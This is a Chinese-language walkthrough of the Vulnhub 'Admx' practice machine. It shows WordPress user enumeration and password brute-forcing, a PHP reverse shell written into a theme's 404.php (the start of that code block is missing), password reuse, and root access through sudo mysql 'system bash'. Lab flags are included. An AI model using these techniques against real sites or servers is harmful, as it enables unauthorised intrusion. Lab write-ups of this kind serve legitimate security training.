SfTian Vulnhub-Admx # Admx ## 资产收集 | IP | 描述 | | ------------- | ---- | | 192.168.0.128 | Kali | | 192.168.0.132 | 靶机 | 该靶机仅有80端口开放,在访问wordpress目录后进入wordpress文件夹 ## Web 由于访问wordpress速度过慢,查询后发现根据设置的问题他需要把从`192.168.159.145`加载的资源强制改为靶机IP才可以正常访问 ### 替换URL 使用burp的 `HTTP match and replace rules` 将其请求地址做修改 ![image-20240723112207595](https://download.imxbt.cn/upload/20240723112207921787e215e6664c652f549ca4b6864cd5b.png) 由于wordpress的登陆页面可以判断出是否存在该账户,所以我们从这里入手找到`admin`用户,然后进行爆破得到密码`adam14` ![image-20240723114047790](https://download.imxbt.cn/upload/20240723114047957cff22e85a2f8b8b1fff774c7afb493ba.png) ## Getshell 在404.php中写入反弹shell ```php array("pipe", "r"), // stdin is a pipe that the child will read from 1 => array("pipe", "w"), // stdout is a pipe that the child will write to 2 => array("pipe", "w") // stderr is a pipe that the child will write to ); $process = proc_open($shell, $descriptorspec, $pipes); if (!is_resource($process)) { printit("ERROR: Can't spawn shell"); exit(1); } stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); stream_set_blocking($sock, 0); printit("Successfully opened reverse shell to $ip:$port"); while (1) { if (feof($sock)) { printit("ERROR: Shell connection terminated"); break; } if (feof($pipes[1])) { printit("ERROR: Shell process terminated"); break; } $read_a = array($sock, $pipes[1], $pipes[2]); $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); if (in_array($sock, $read_a)) { if ($debug) printit("SOCK READ"); $input = fread($sock, $chunk_size); if ($debug) printit("SOCK: $input"); fwrite($pipes[0], $input); } if (in_array($pipes[1], $read_a)) { if ($debug) printit("STDOUT READ"); $input = fread($pipes[1], $chunk_size); if ($debug) printit("STDOUT: $input"); fwrite($sock, $input); } if (in_array($pipes[2], $read_a)) { if ($debug) printit("STDERR READ"); $input = fread($pipes[2], $chunk_size); if ($debug) printit("STDERR: $input"); fwrite($sock, $input); } } fclose($sock); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); function printit ($string) { if (!$daemon) { print "$string\n"; } } ?> ``` 访问任意可以导致404的地址即可拿到shell ![image-20240723115816762](https://download.imxbt.cn/upload/20240723115816865e9256aba7dbe193ba3de5b6b7ea1bd20.png) 通过搜集信息发现/home/wpadmin文件夹的local.txt仅wpadmin可读,在网站目录收集到wp-config的MySQL信息 ![image-20240723120704158](https://download.imxbt.cn/upload/20240723120704235982124f69b10d6c6c017c4c1e8a9c6f6.png) 但是给的信息无法正常登录到MySQL,如果直接`su wpadmin`并使用`adam14`可以切换到wpadmin用户,在根目录拿到flag ```shell cat local.txt #153495edec1b606c24947b1335998bd9 ``` sudo -l发现wpadmin可以sudo执行MySQL登录 ```shell sudo /usr/bin/mysql -u root -p system id system bash ``` ![image-20240723121523541](https://download.imxbt.cn/upload/202407231215236972b1f2120c8902d90e28c87f9100bb86d.png) 进入root目录可以获取到第二个flag ```shell cat proof.txt #7efd721c8bfff2937c66235f2d0dbac1 ``` 取消回复 发表新评论 提交评论